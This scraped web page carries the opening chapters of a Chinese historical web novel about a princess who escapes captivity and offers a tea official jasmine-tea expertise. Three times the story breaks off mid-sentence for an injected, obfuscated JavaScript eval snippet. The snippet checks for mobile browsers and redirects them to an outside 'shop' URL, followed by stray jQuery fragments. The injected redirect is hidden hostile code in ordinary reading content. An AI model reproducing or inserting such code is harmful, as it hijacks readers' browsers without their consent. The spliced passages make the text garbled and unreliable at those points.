《公主她胜券在握》 1. 出逃 庆丰县素来以茶闻名，时维春日，荡云群山一片碧绿，连绵起伏间皆是才抽新芽的茶树。 山腰小路上，常乐边走边打量周遭景色：目之所及皆是高低不一的丘陵，满山茶树间有不少茶农背着背篓采摘、穿行。 “憨哥儿，舍得让你媳妇儿出门了！”不远处有个小伙高喊。 “早该带出来了，让我们也饱饱眼福啊！”一群人跟着起哄，眼睛几乎要粘在常乐身上。 “你们不许看。”常乐身旁那个膀大腰圆的汉子提步上前挡住。 “我娘说了，这是我一个人的媳妇儿，不能给别人看。” 众人随即哄笑，常乐面颊泛红，快步走上一处岔路，远离那群人的视线。 憨哥儿追上来问个不休，常乐本不愿理会，但想到此人爹娘那淬了毒一般的眼睛，只得随口敷衍他几句。 身为金尊玉贵的公主，哪怕在蛮丘异邦，她都不曾受过如此侮辱。 怎奈和亲三年，一朝落水身死。 再睁眼时，见着熟悉的中原风物，原以为魂归故里，却不料竟是全须全尾地跨越了上千里到了庆丰县地界。 憨哥儿的爹娘将她从水中救起，对外谎称常乐是他们嫡亲的外甥女儿玉秀，只说两家自小就定了娃娃亲，她是那呆傻儿子的媳妇儿。 好在常乐借口落水伤了身不宜受孕，这才没有落入虎口。 这家人把自己看得紧，若不是小心奉承，恐怕到今日连床都不许下，遑论出门。 算来已过十几日，这家人越发等不得，三双眼睛毫不掩饰地在她身上打转。 虽然早已料到绝无逃跑的可能，但真正见到此处错落的地形和稠密的人口，她心中最后一丝希望也破灭了。 再想不出个逃离的办法，难不成真要嫁给这个傻子？光是想到这一点常乐就忍不住要呕出来。 走得一刻钟，就见半个山坡花团锦簇。 “秀秀你看，这里都是花，你喜欢哪种，我去给你摘。”憨哥儿指着远处兴奋大喊。 “不必了，我自己选。”常乐神色恹恹。 再走近些，方看到那白色的是茉莉，几乎瞬间，她心中闪过一个念头。 没时间犹豫了，逃出生天在此一举，希望控茶司的那位林大人懂得茶味。 常乐指使憨哥儿往另一边去摘芍药，自己偷偷挑了些上好的茉莉花苞，拿布包了藏进衣袖。 二人将山坡上的各色花摘了半篓，由憨哥儿背着一路回到那处低矮的房子。 憨哥儿的爹刘二九采茶未归，娘吴氏坐在门口张望，远远瞧见他们嘴里就开始不住念叨，十句里倒有八句落到常乐身上。 常乐耐着性子逢迎，说些给他们做香包的事，又将篓子递上去由她先挑，这才堵住了那张挑剔的嘴。 儿媳妇更偏着自己才好！儿子是个傻的，看见个美貌女人魂儿都要被勾走了，这儿媳妇要不先紧自己，那作娘的在家里岂不是连个站的地儿都没了。 常乐自然将她的性子都摸清了，再把每种花的效用都讲上两句，专挑对她身子好的说，这婆子的眉眼中才带出笑来。 过得几个时辰，刘二九回来，常乐的香包也做得了，三人拿着夸个不住，憨哥儿尤其高兴，只这又惹了吴氏的眼。 “做个花包算得什么，要会生儿子才好哩，秀秀，我看你身子骨差不多了吧？” 常乐不禁头大，但转眼间又想到了什么，她凑到吴氏身边耳语几句，直把吴氏欢喜得大拍巴掌。 “真个？你真个会做生儿子的汤药！” 常乐面上一红，赶紧低头假作扭捏，吴氏嗤笑一声只说些都是一家人不需害羞的话。 见她越说越不着调，常乐赶忙止住话头：“姨母，这活儿还是外甥女自己来才好把握，只是劳烦姨母借我个陶罐使。” 吴氏哪里还有二话，赶忙把家中最好的罐子收拾出来，常乐便借着熬汤药的名头偷偷制茶。 过得两日，刘二九和吴氏一早出门采茶，常乐借口擦身让憨哥儿到门外守着，自己则将陶罐洗净里外擦干。 从房内拿来自己窨好的茶叶倒入陶罐，接着放到火上烘制，见差不多了，再将茶叶倒出摊开。 待得温度合适，她将茉莉花和摊凉的茶叶混在一处包入布袋。 地方简陋，目前也只能做到如此地步了，她细闻了闻，虽算不上好，但也有那么一两分味道。 待那两口子回来，常乐就把想要去趟城里的事说了，自然引来二人怀疑的眼神。 “没事去城里作甚？不如好好在家喝药生儿子。” 这家人已然急不可耐，就连一向听自己话的憨哥儿这两天也都开始举止不端。 “正是为着这事儿呢。”她捏住吴氏的袖子佯作羞赧，“前面喝的几碗都只是调理，最根本的还在余下这几副，万事都有了，只差了一味药，需到城里的铺子上寻。” 二人忙问是什么，常乐胡诌一个名字，见果然是没听过的，他们方才止了在附近寻的心。 刘二九眼珠转了几圈，盯着常乐道：“你是不是想起了什么？” 此人眼神过于可怖，常乐不由头皮发麻。 “好像是想起些什么，姨母，我五六岁上是不是来过这儿，您当时还拿个糖人儿逗我呢。” 吴氏和刘二九对视一眼，方才捏着常乐的手接话：“正是呢，逗得狠了你还和我急，鼻涕眼泪流了满脸” 常乐应和着大笑。 这一家三口，儿子是个傻的，老公婆倒是精明。 好在自己的出现着实难以常理解释，顺着他们的心意编些故事，一再表露打定主意嫁给憨哥儿好好过日子的心，他们也真信了这是上天赐给他们的儿媳妇。 还是个貌美贤惠懂得各种技艺的儿媳妇。 常乐好几次听见老两口在嘀咕些小翠、田螺姑娘，说自家儿子肯定是上辈子积了功德。 翌日，刘二九和吴氏照例外出采茶，再三嘱咐了憨哥儿要看紧媳妇儿，买得了就早些回来，等憨哥儿将话学了三遍才放他们出门。 走得一个半时辰才见到城门，常乐加紧脚步，几乎要跑起来。 强压着走脱的冲动，入城后她假意在各色铺子中挑选，实则借机探问，转得半日终于看到了控茶司匾额，她脑中紧绷的一根弦松了大半。 常乐探了探袖中的布袋，内里的茉莉花皆已挑走，只剩茶叶。 她转头与憨哥儿说：“前几日听闻控茶司悬赏，寻能制好茶的方子，憨哥儿可知是个什么章程？” 见憨哥儿摇头，她又说：“秀秀也不知呢，此处恰是控茶司，不若我进去问问？” “不行，娘说不能乱走。” “并非乱走，你想想，爹娘采茶也是辛苦，你又不事生产，来年再添了孩子，家中的花销可不又多了一重。我的本事你也见过，若是问清了章程，说不得我就能制出他们要的茶哩。就我不能，爹娘总有法子。若真成了，得的赏赐可抵得上家中十年的嚼用了。” 憨哥儿愣神思索了片刻，依旧头摇得好似拨浪鼓一般。 “娘说了不能乱走，要爹来问就好。” 真是难缠！常乐只得双眉倒竖叱道：“现在连我的话都不听了？不过是问句话的事儿，怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13597506|143294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就不行了！”说着竟哭了起来。 憨哥儿顿时慌乱，忙上前又是作揖又是赔罪，一叠声应了下来。 常乐这才露出笑意，三两句叮嘱对方一定在门口等着便往里边走。 门房当班的差役听常乐说明来意，让她填上姓名住处把茶叶留下就可以离开了。 常乐怎肯罢休，摸出用来买药的铜钱递了过去。 “官爷通融则个，实是此茶不比平常，需得奴家亲自沏来方能尽显其味。” 差役收了钱，将常乐让进见客的旁厅又说：“林大人此时不在司内，你且等着吧。” 大昭共设三处控茶司，专管各地茶叶统购货殖，收上来的茶叶部分上贡，部分与外邦交易。 当今天子好茶，令控茶司每年上贡当春新茶，每年还需见到新研制的品类，今年恰好轮到庆丰县上贡新品类。 但新的品类又岂是易得的，更何况皇帝口味刁钻，研制新茶一事真可谓烫手山芋。 但常乐身为公主，了解父皇口味是她的本分，自己制出的茶她自信九成可得夸赞。 只是不料，当年在宫中为了讨好练出的一手制茶技艺，现如今拿出来依旧是为了讨好。 这九五至尊，真是在哪处都不得不仰其鼻息。 时间过去许久，常乐心中渐生不耐，她起身欲问差役，刚至门口就听见外面起了纷乱之声。 “什么人，竟敢擅闯控茶司重地！” “我媳妇儿是不是被你们抓起来了，你们还我媳妇儿！” “什么媳妇儿，你这傻子是女人想疯了吧，敢到我们控茶司来撒野！” “我不是傻子，我娘说了我不是傻子！”憨哥儿怪叫起来，紧接着就是差役连声痛呼的叫喊。 常乐暗叫不好，这憨哥儿虽呆愣却有一身蛮力，平生又最恶别人叫他傻子。 这事一准会牵连到自己，她赶忙掉转身子往里走。 步子还未迈开，手腕就被拉住了，那个收了钱的差役扯着她大喊：“你就是他媳妇儿吧，赶紧叫他停下！”说着就把人往外推搡。 常乐哪里肯依，挣扎着否认。但这副初愈的身子如何抵得过男人，一路被拖拽着到了大门口。 “媳妇儿！那就是我媳妇儿！” 眼看着傻子拨开众人朝自己冲了过来，常乐心如擂鼓。 “我不是，我不是他媳妇儿，我不认识他！” 这句喊瞬间惹怒了憨哥儿，他立时咆哮：“娘没得说错，你就是嫌我傻，你就是会跑，我就该听娘的话把你绑起来！” 此人如蛮牛般扑了上来，千钧一发之际，常乐不知哪来的力气挣脱了差役的桎梏，发疯似似地往里跑。 刚跑至二门口，憨哥儿的手就搭上了她的肩膀。 常乐如遭雷击，不禁尖叫出声。 然后就见眼前黑影闪过，憨哥儿瞬间飞撞到影壁之上。 “大胆！竟敢在控茶司逞凶。” 常乐惊魂甫定，便听到差役们连唤林大人。 控茶司林大人，她此行的目标！ 她抬眼去看，就见此人视线落在自己身上，却仅一瞬就移开了。 “五六个人拦不住一个人，我控茶司养的好差役！” 众人瑟缩，等他开口再问，才有人将经过简述了一番。 “她是我媳妇儿，你们放开我，我要回家！”憨哥儿已然醒转过来。 “我不是，我根本不认识他！” 林大人转头看向差役，差役躬身道：“在下亲眼看到他们一起到这儿来的。” 常乐看向林牧川，对上一双打量的眼睛。 2. 献茶 稍稍整理仪容后，常乐对着林牧川略施一礼方道：“小女子名常乐，随夫至庆丰县探亲，不慎与夫走散落水，被这憨哥儿……” “这些话留待县衙去说，本官管不着这事儿。” 常乐被噎在当场，她设想过许多可能的回应，却不料对方竟然直接甩手不干，这让她预备的几种回应都无用武之地。 如今身份尴尬，只有控茶司处能用得上她，也才能暂时放下一些细枝末节予她庇护。 不过片刻，她便果断从袖中将茶袋取出。 “此茶可解大人燃眉之急。” 林牧川扬眉，见对方神色坦然，方接过茶袋轻嗅，而后神色一变，开口：“这香味……” 常乐心下大定，眉眼展笑道：“大人，还请入室详谈。” 行至大堂坐定，常乐才觉背上凉意丝丝，想来中衣已被汗湿。 端了茶杯略润过嗓子，半刻后就见林牧川走了进来。 常乐起身相迎，却被他抬手止住。 “听王同说这茶只有你才能沏出味道，如今水已烧得，你且沏来。” 一名差役提了铜壶搁在桌上，林牧川将茶袋放在一套茶具旁，而后坐上了主位。 常乐只好依言上前沏茶，烫壶、温杯、投茶、洗茶、冲泡、出汤…… 一应步骤行云流水，她端着瓷杯递到林牧川面前。 林牧川接过杯子，别有深意地看了她一眼，而后才开始细品茶味。 过得一会儿，他才开口：“炒青火候太过，茶味太老，这隐约的香味……是茉莉？” 未料此人还是个中行家，常乐心中的重视更添一分。 “大人明鉴！茶香为基、茉莉添趣，这方子当解大人之急。” 只见对方闻香的动作一滞。 林牧川放下茶杯开口：“这位……娘子，有何事相求？是希望下官帮忙寻夫，还是直接派人将你送至府上。” 常乐睫羽一颤，不再故作恭敬，她抬眼直视对方：“我希望与大人合作，我助大人制出好茶，大人助我在此地安身。” 林牧川这次停顿更久，一双眼睛直盯着常乐，眸中疑惑与思索更重。 “娘子说笑，良家女子哪有抛头露面，与男人厮混一处的道理。你且写个制茶章程，下官自当安排车马稳妥送你归家。” “女子便如何？大昭哪条律法写了女子不能制茶，况且大人寻好茶日久，可见有哪个男人所献之茶得此茶妙处？” 那自然没有，林牧川不料她气性竟如此之大，不恼反笑。 “娘子想是误会下官了，我并未因你是女子便生心生轻视。只是女子行走世间终究比男子更难三分，更何况孤身一人在陌生之地，憨哥儿之事难保不会再次发生。” 见他提起憨哥儿，常乐挺拔的背脊不免有些松动。 这位林大人的顾虑也是有理有据，一介女子，在此地又缺乏庇护，才会被憨哥儿一家禁锢。 只是对自己来说，庆丰县已是最好的立身之所，她并没有对方所认为的退路。 也因此，她才会在得知控茶司寻访制茶新方时心生此计，只要控茶司认可她制出的茶叶，自然会替她挡了憨哥儿一家的纠缠。 “更难才更能证明我的实力，若只会知难而退，岂不是要永远困于深闺，被他人说……” 话到此处常乐连忙止住，实在是此番对话令她想起三年半前的某次争执，胸中愤懑之意便带了出来。 她也不料如此短的时间内，此人竟将自己的身份地位猜了个七七八八，若不是事实过于荒诞，他可能真会推测出自己就是公主。 好在对方似乎并未发现她的失态，只是低头凝眉思索着什么。 不一会儿，林牧川起身道：“娘子既有此志向，便请明日到茗香坊一观。” 茗香坊，控茶司执掌的制茶之所，专为制作贡茶而设。 常乐乘着马车从控茶司往茗香坊而去，一路留心默数时间、观察着周遭的环境。 约摸两刻钟，马车停下，一个稚气的童声从车帘外传来。 “娘子，到地方了。” 常乐掀开帘子，扶着那小童的手下车。 入眼便是一处阔大的院子，五六个壮汉端着簸箕在院中往来，其上铺满了茶叶嫩芽。 院门口早站着有人，远远望见控茶司的车马，立刻迎了上来。 此人看着四十上下，穿着倒还利索，左边眉毛中间长了颗颇大的黑痣。 常乐见他仰着脖子往自己身后看，一双眼睛搜寻着什么。见马车里再无人出来，便拉过小童耳语。 这小童名唤石头，是林牧川指给她充作杂役的小厮。 听得几句耳语后石头便笑开了：“忠叔有所不知，这位娘子正是林大人请来的制茶名家。” 被称为忠叔的男子先是一愣，继而走上前赔笑连道不是。 常乐不与他多话，只令其前面引路。 穿过院子，第一排房子乃是晾茶室，丈余高的架子分作十几层，晒好的茶叶一层层搁在架子上散去热气。 房间敞门通风，不时有匠人端着簸箕进出，见有女子入室皆探过头来上下打量。 蛮丘生活三年，与众多男子同处一室已不能让常乐生畏。只是少了那成对高位者的忌惮，看向她的眼神更令人生厌。 晾茶室后面是炒青房，行至门口忠叔便上前打断。 “娘子止步，炒青匠人穿着不雅，恐污了娘子的眼。” 话说得好听，笑声中却透着敷衍，在院外迎接的那股殷勤劲儿早已荡然无存。 “忠叔多虑，林大人既称某为名家，某自然是见管了炒青场景。” 常乐说罢也不等对方回话，径直迈步而进。 眼前不见所料想的场景，炒青的匠人身着裲裆，不过是露出了手臂而已。 想来也是，茗香坊所制茶叶用于上贡，若汗液滴入茶叶便是大不敬，能准许露手臂已是不易。 这使她想起蛮丘斗武场上那些只遮了羞处的壮汉，那才是真正的廉耻全无。 常乐回转心神，留意着匠人炒青的手法和时间，待心中有数后方往下一处走。 其后的揉青、理条等步骤她也一一看过记住，等出院门时已过半日。 常乐钻入车舆，石头坐在车外，车夫长喊一声，马打了个响鼻迈开步子。 春雨忽而开始绵绵地下起来，她略掀开窗上的帘子都觉雨丝生寒，便唤石头进来。 “娘子好意，只是男女有别，石头还是坐在外面得好。且我穿着蓑衣呢，这点雨再淋不坏的。” 常乐闻言失笑：“你才多大就论这个？还是进来好些，若是淋坏了我可得吃林大人的埋怨。” “娘子莫看我个头矮，再过半年就七岁了！”石头语气焦急，想是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13597507|143294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为个子的原因吃过不少笑话。 “林大人再不会埋怨娘子的，指派小人伺候娘子时，大人再三叮嘱了要恭敬。” 对方坚持，常乐便不再强求，再与石头玩笑两句便罢。 只是这林牧川的叮嘱让她颇为意外，男女七岁不同席，石头才六岁半他就嘱托此大防之事，却又放心自己只带个小童便进出茗香坊，着实矛盾。 不过而今不比前朝，虽仍重名节却也不至过分，动辄闹出人命官司，石头此举不过小孩心性，一句嘱托便认了真。 一路行至控茶司，下了马车步行穿过垂花门，经西厢房外侧角门转入偏院，见一个丫鬟打扮的女子迎了上来。 “娘子回来了，见过娘子。”小姑娘约十三四岁，生得齐整可人。 常乐一问身份来历，她便脆生生答了。 “奴婢香儿，是县令老爷家中婢女，只因控茶司内未置婢女，林大人恐怠慢了娘子，便求了我家老爷借奴婢过来使唤。” “劳林大人想着，如此便拜托香儿了。” 寒暄过几句，常乐进内室用过午膳，便令香儿在外间伺候，自己执笔将一上午的见闻整理记录。 今日茗香坊所制乃是绿茶，从成色香味上看，应当是三年前上贡的满园春和翠云雾的改良。 仅作温度与时间上的改变，若是别处倒还罢了，天子对庆丰县控茶司要求颇高，如此糊弄是过不得关的。 也难怪林牧川焦急，如今已近四月，再不加紧，便赶不上此地春茶制作的最后时限，恐得圣上怪罪。 再将所写的字条看过一遍，见无甚遗漏，常乐便差香儿递给石头。 “让他送到林大人案前，就说是我写的，大人得空时务必看看。” 香儿走后，常乐自褪下外衣，歪在床榻上歇晌。 再睁眼时，透过珠帘见香儿在外间忙活，常乐便起身问起了时辰。 “娘子好眠，已至未时七刻。”香儿边应边打了水过来。 自己竟睡了两个时辰，常乐按了按昏胀的太阳穴，被婢女伺候着净面漱口。 “先前石头过来，说林大人已然看过娘子的字条，还请娘子到堂前说话，得知娘子未起便不叫打扰。” 常乐点头道：“林大人此时是否得空？” 香儿又端上点心：“林大人在堂前回事，娘子若要见，奴婢令石头去问。娘子午膳用得少，想必腹中饥饿，请先用些点心。” 这小丫头倒是贴心，可见林牧川与县衙交情颇深。 常乐以清茶送下两块四色梅花糕，香儿便道林大人有请。 走出院门，穿过西厢房前的回廊再转过拐角便是控茶司大堂，刚至门口便嗅到一股浓郁的芳香。 进得门去，桌案上摆着七八只竹篓，里面皆是盛开的茉莉。 见常乐前来，林牧川也不拘礼，只指了竹篓请她上前来看。 “我令差役将周围半日脚程内可得的茉莉各摘了一篓，你且看看其中几篓堪用。” 常乐不意他行动竟如此迅速，不由得抬眼去看，正望见对方板着脸捏了花在手中比对。 这场景莫名滑稽，她有些忍俊不禁。脚上却也不停，三两步走到案前。 还未看过几篓，门外就有人来报。 林牧川走到门口，不过片刻就回转身来，将一份簿子递到常乐眼前。 “先看看这个。” 3. 辩驳 常乐接过簿子翻开，里面竟是憨哥儿一家人的认罪卷宗。 “案子已结，娘子再无后顾之忧。” 竟无需自己到场指认回话就可结案，还如此迅速就定了发配，看来这林牧川已经不是和县令颇有交情那么简单了。 “大人好意常乐铭记，不知大人有何要求？” 林牧川也不客套，直言道：“林某的诚意小娘子已知，不知小娘子诚意如何？” “大人是想让我将制茉莉花茶的章程写下，任茗香坊自行制作？” “制茶一事迫在眉睫，总归还需熟手指点，只是茗香坊皆是男子，娘子身为女子厮混其中终究不妥。不若令茗香坊依照章程行事，娘子只作参谋指点。” 果然如此！ 林牧川令她只领一小童前往茗香坊，又不告知总管事忠叔自己身为女子，一来是为了摸清自己是否真对制茶了如指掌，二来也是盼着自己面对众男子知难而退。 其余种种周到的安排，都只是为了表示足够的诚意，对憨哥儿一家的处理则更是彰显了自己在庆丰县的权势地位。 他希望自己指点茗香坊匠人制茶，在得出成果后放心地由他安排人手护送离开。 但这却不是常乐想要的。 “我以为昨日一席谈林大人已知常乐之意，若只为作参谋，只怕不能在此安身立命。” 庆丰县三年才需研制一款新茶，若不趁此时挣出本钱，日后只会处处艰难。 事情没有按照预想的发展，林牧川薄唇微抿，眉眼间已经显出不满。 常乐抬起下巴，平静地望了回去。 “常娘子。”林牧川走到近前。 “娘子出身不俗，为何定要远离故土到弊县掺和这等匠人活计，整日与男子混作一处，就不顾及堂上双亲吗？” “林大人，所谓人各有志。况且，我何时说过要与男子混作一处？” 常乐终于在林牧川脸上看到了惊讶与疑惑，她扬眉一笑，开口。 “我希望大人能在茗香坊辟出几间房子，再招募几名女子由我指导制茶。” “胡闹！” “怎么能是胡闹呢，林大人方才不是说了，我这女子不好与男子厮混的。” 林牧川却不再答，一双寒眸凌厉地定在常乐身上。 他不说话，常乐自然也不再开口，此人还算聪明，至少不会在自己面前说出女子如何可以制茶这样的蠢话。 过得一会儿，林牧川才又说：“茗香坊内皆是男子，娘子不拘礼节，其他女子怕不会这么想。” 常乐却笑：“礼节虽大，可作不得饭吃，民间女子与男子一处做事的不知凡几，何况辟出的地方可与男子隔开，本不会混作一处。” 林牧川神色已恢复正常，又问道：“纵我能募来女子，娘子又如何能保证她们可在短时间内学会制茶。” “林大人，你又想窄了，为何不径直从茗香坊的匠人家中招募女子呢，或是妻子或是姊妹，这些女子从我处学得，再与自家丈夫兄弟一说一试，匠人们岂不尽知。” 见林牧川眸中一亮，常乐又说：“不过，我既是女子，所用法子自然是女子更适宜，说不准这些女子制出茶来还胜过那些做老了茶的男子呢。” 对方果然心动，常乐便等着他的回答。 林牧川沉思片刻，忽而抬眸冷声道：“若是本官不答应呢。” “那小女子便只能走出控茶司，寻一位更好的买主了，庆丰县制茶作坊如此之多，总有坊主愿意满足我的要求。” “若是本官让你出不得控茶司呢？” 常乐失笑：“出不得又如何呢？大人既因我的家世一再催促我归家，便会因我的家世不敢对我失礼，我又害怕什么呢？不过让控茶司白养着罢了。” “到这份上，大人的试探也该有个结果了，常乐究竟是否有能力凭自己安身立命，能否不受家世束缚甚而连累大人，大人当有论断。” 至此，林牧川终于表露出欣赏的眼神道：“常娘子胆魄非常，林某佩服。” 常乐也回他一个真诚的笑：“既如此，就请大人吩咐下去吧。” 茗香坊的房间是现成的，不过是辟出几间分隔开来而已，过得两日便收拾了出来。 愿意出来制茶的女子也募来二十余名，其中倒有一半是听说此事自行过来报名的。 多是家中进项少，缺了嚼用，到茗香坊好歹管着三餐饭，常乐经过挑选确定了这二十余人。 万事皆备，到第三日，常乐令人往说好的几处地点摘茉莉花苞。 花苞运来还需挑选，二十几人忙了两个时辰才挑拣完成。 如此便至戌时末，挑拣出来的花也到了吐香的时候，常乐令人上了茶水点心，将二十几人分作三班轮替着休息。 “这是最要紧的时候，都提点起精神，做得好了，赏钱不会少诸位的。” 有了金钱的鼓舞，众人都铆足了精神。 常乐更是歇不下来，众人皆是首次窨花，期间的用量、温度和散热的时机都需她把握提点。 好在着二十几人里总有机灵又肯上进的，指点过几次后，就有一两人领悟了其中关窍。 待得日头出山，这一次的窨花才算是完成。 常乐的眼皮已经开始打架，但还是撑着吩咐了后面的工序。 “都去休息吧，午后又是一阵忙，兰心辛苦些将我嘱托的事说与你哥哥再休息，明儿再过来罢。” 众人散了后，又叫来石头：“你守着西院的匠人复火，拣一些送与林大人尝。今日也不需再过来了，叫香儿替你。” 石头应下又问：“那我吩咐车夫将娘子送到控茶司。” “不必了。”常乐按着太阳穴说：“我在这边休息便好。” 茗香坊辟出几间后，众人皆称女子这边为东院。 因制茶总要日夜以继，东院也同西院一般专门置了房间用于安歇，常乐也给自己要了一间。 整夜未合眼，常乐一沾枕头便睡着了，被香儿叫醒时，正是茉莉花苞被送来之时。 “娘子醒了，林大人在门房。” “叫林大人稍候，我换了衣裳就过去。” 门房设在茗香坊的大门口，常乐到时林牧川正与忠叔说话，见到她来二人起身让座。 “常娘子，不知这花茶需窨制多少次才可？” 忠叔这次的态度较之前恭敬不少，常乐很是受用，答道：“总得两三次，当然也要视茶叶状态而定。” 林牧川在一旁问“不知这一轮窨好的茶叶多久才窨下一次？” “三日左右。”常乐答完就见林牧川低眉沉思。 是在计算日子吧，窨花耗费的时间颇多，他肯定担心最终出来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13597508|143294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茶叶可用的有多少，上贡的数量却是宁多勿少，时间眼看着是不太够的。 林牧川抬眼看向常乐，常乐猜测对方是希望从她这里入手，只是具体在琢磨些什么就不得而知了。 不过她凡事都要讲价，此人未立刻开口估计也是在斟酌自己会提出什么样的条件。 但眼前她有更需关心的事，于是便假作不知告退一声，往东院方向走。 路过西院时，只见当中也堆了许多茉莉花，十几名匠人正围着挑拣。 常乐并不在意，她的目的本就不是霸着制茶的方子，当前情况下她也守不住。 更多的精力需用来观察东院的女子里有多少得用的，这才是她真正安身立命的本钱。 兰心算一个，但她还是更偏向自家哥哥，到东院来也只是因为哥哥的吩咐。 不过人一旦走出来了心境便会不同，若不是和亲到了蛮丘，见到了那边女子的生活，她也不敢想自己还会走出那四四方方的院子。 且看她日后的行为吧。 如此过得五日，东院众女子眼看着身子越来越疲惫，常乐便准了她们一日假，令第二日午后再到茗香坊。 她自己的骨头也快散架，茗香坊终究简陋，便也趁此机会回到控茶司好生沐浴一番，再狠睡了一通才觉精神回转。 待得第二日乘马车回到茗香坊，眼看已到时候，院子里站的人却少了三成。 常乐心中隐隐不安，视线在众人脸上扫过，最终停在了兰心身上。 许是她的目光太过威压，兰心竟扑通一声跪了下来，声音哽咽。 “娘子恕罪，玉娘她们不过来了。” “好好的，怎么不过来了！” 兰心却不再说话，只一味抽噎，常乐眉头紧皱，转头吩咐另一名女子。 “今日暂不窨制新的了，初月，你带几个人看看前几日窨好的茶叶，将好了的提出来再窨。” 又让石头去把未回来的那些女子的家人带到门房问话。 一气儿少了六人，又皆是家中有人在茗香坊的，要说当中没有家里人的撺掇，常乐是不信的， 不一会儿就有六名汉子到了门房，其中有的是哥哥，有的是父亲，有的是叔伯。 但给出的回答竟是出奇的一致。 “茗香坊毕竟多是男子，女儿家家的混在当中不成体统，家中毕竟也不缺她们这一份工钱银子，况且……” “够了！”常乐拍案大喝，杯中的茶溅在她的手上瞬间就泛起了红点。 这些人是把那几名女子当成学艺传话的工具了，自家学会了将人打发回去便是。 常乐还待思考如何将人再带回来，初月便急匆匆地闯进了门房。 “娘子，西院将我们的茶叶全窨过了，余下的皆是不到时候的。” 常乐愕然，他转头看向那六名汉子，后者皆垂头不敢看她，守在一旁的忠叔此时上揖首。 “常娘子，上贡之茶时间紧迫，一天都耽搁不起。” “这事，你请示过林大人了吗？” “这……想必林大人也是能理解的。” 那就是不知情了，也是，林牧川不至于蠢到和自己撕破脸。 常乐收回理智，吩咐初月先窨制新的茶叶，转头令石头喊来车夫。 “石头，林大人此时在何处？你与我一道去见他。” 4. 谈判 如归楼，庆丰县内最好的酒楼。 楼上雅间，林牧川坐于上首，左右两边各坐了三四名民间制茶坊的坊主。 “林大人”左手边一名面容宽厚的坊主起身拱手。 “不是我等不愿相助，只是春茶有期，若抽调了人手到控茶司，自家的茶叶就耽搁了，误了买主的单子，我们可赔不起啊。” “张坊主所言极是。”另一名瘦高的坊主接口，“不若待我等将单子完成后再调人相助？” 谈了数日皆是这等说辞，林牧川心中不免烦闷，他伸手捏着眉间，思忖着有无翻转的可能。 不等他手指松开，一名差役近身附耳说了几个字，林牧川抬眼望向窗外，果然看见一截碧色的衣袖。 一路至此，常乐已经收拾好心神。 林牧川约见众位制茶坊坊主，原因不过是要赶着将上贡的茶制作出来。 那日他望向自己，到底是希望从自己这里获得什么？ 自己手中有什么是这些坊主愿意冒着背约的风险也愿意抽调出人手的？ 思索未果，雅间内众人陆续走出，常乐侧身避过，而后就听林牧川相请。 “林某有要事相商，正想去茗香坊寻娘子，未料娘子先过来了了。” “不知林大人要与我商量什么？”常乐是实在好奇他的打算。 林牧川沉吟片刻，忽然起身朝着常乐正色道：“不知娘子可否将茉莉花茶的方子相让。” “此话何意？方子林大人已尽知，不过时间紧迫，纵使无偿相赠那些坊主也缺人手。” “非也。花茶创举可谓耳目一新，此茶上贡后，若得圣上垂问，那制茶之人必会名声大噪。” 常乐暗自心惊，如此简单的道理自己竟没有想到，这也是缺乏市井生活所致。 难怪林牧川事到如今才对自己提起，准许他人随意按自己的方子制茶，与将首创之名拱手相让，这之间的差距可谓十万八千里。 不论对方迟迟不开口是出于尊重还是畏惧自己背后那并不存在的家族势力，她都不可能将天子金口玉言这个活招牌让与他人。 “林大人。”常乐心中已有计较，沉稳开口。 “我今日撇下茗香坊之事来此，大人可知是为何？” 林牧川闻言抬头。 “西院匠人不仅将我手下六名女子劝了回去，还擅自动了东院的茶，大人当如何处置？” 林牧川转向身旁的差役，那差役开口道：“男女混杂多有忌讳，匠人就令她们回去了，至于动了茶叶，皆是为着赶工。” “常娘子，此事虽有瞒报之嫌，但也实属无奈，若是误了上贡的时日，只怕圣上怪罪。” “如此说来，林大人是不准备追究此事了？” 常乐言语间已显怒意，林牧川无奈解释：“世风如此，如非无奈哪家人愿意自家女子与男人混作一处制茶，我纵管了这一次，又怎能防着下一次呢？” “说来说去，林大人的意思始终未变，大人还是觉得我让女子制茶一事不得长久，故此不愿哪怕申斥一句西院匠人擅自动茶叶之事。” “娘子是聪明人，不会看不清眼下的局势。”林牧川竟不反驳。 “林大人如此行事，就不怕我不再指点，一走了之？” “茶味已成，之后再精进不过也是锦上添花，纵止步于此，林某也算完成研制新茶的任务。” 常乐闻言气结，此人可谓毫无顾忌。 还未等她开口，林牧川又道：“更何况娘子所谋尽在女子制茶一事，又怎会一走了之。” 此话一出，常乐心间不由一震。 